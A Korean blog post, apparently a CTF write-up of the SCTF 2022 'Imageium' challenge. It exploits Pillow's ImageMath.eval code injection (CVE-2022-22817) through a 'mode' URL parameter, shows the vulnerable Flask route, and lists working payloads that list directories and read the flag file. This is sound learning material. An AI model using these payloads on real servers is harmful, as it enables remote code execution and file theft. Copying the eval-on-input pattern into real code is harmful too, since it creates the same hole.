본문 바로가기
CTF

[SCTF 2022] Imageium

by skyepodium 2023. 5. 20.

1. 개요

python pillo CVE-2022-22817 문제, RCE 문제

 

2. 분석

접속하면, pillow 라이브러리로 계산한 이미지를 보여줍니다.

http://localhost:37359/dynamic/modified?mode=r

코드를 보면, ImageMath.eval 로 mode 파라미터를 실행시킵니다. mode에 python 코드를 넣고 실행시켜봅시다.

@app.route("/dynamic/modified", methods=['GET'])
def modified():
    mode = request.args.get('mode', '')

    img = Image.open("./original.jpeg")
    buf = BytesIO()

    try:
        if mode:
            for w in badlist:
                if w in mode:
                    raise Exception(random.choice(errors))
            else:
                r,g,b = img.split()
                img = ImageMath.eval(mode, r=r, g=g, b=b)
                assert type(img) == Image.Image, "not image object: {}".format(img)
                img = img.convert("RGB")

        img.save(buf, "jpeg")
        buf.seek(0)
        return send_file(buf, attachment_filename='modified.jpeg', mimetype='image/jpeg')

    except Exception as e:
        r = """ -------------------------------------\n ("{}")\n ImageMath error {}\n""".format(mode, e)
        app.logger.error(r)
        return(r)

 

3. exploit

1) 현재 디렉토리의 파일 목록 출력

secrete 폴더가 수상해보입니다.

http://localhost:37359/dynamic/modified?mode=__import__(%22os%22).listdir(%22.%22)
------------------------------------- ("__import__("os").listdir(".")") ImageMath error not image object: ['app.py', 'original.jpeg', 'pilcve.wsgi', 'secret']

 

2) secret 폴더 조회

secret 폴더에 flag.txt 파일이 보입니다.

http://localhost:37359/dynamic/modified?mode=__import__("os").listdir("secret")
------------------------------------- ("__import__("os").listdir("secret")") ImageMath error not image object: ['flag.txt']

 

3) flag read

flag.txt에 플래그가 들어있습니다.

http://localhost:37359/dynamic/modified?mode=open('secret/flag.txt').read()

 

------------------------------------- ("open('secret/flag.txt').read()") ImageMath error not image object: SCTF{3acH_1m@ge_Has_iTs_0wN_MagIC}

 

'CTF' 카테고리의 다른 글

[SECCON - Beginners_CTF_2021] werewolf  (0) 2023.05.28
[SCTF 2022] CUSES  (0) 2023.05.21
[SCTF 2022] DocxArchive  (0) 2023.05.20
[SCTF 2022] Yet Another Injection  (0) 2023.05.20
[WaniCTF 2023] certified 1  (0) 2023.05.13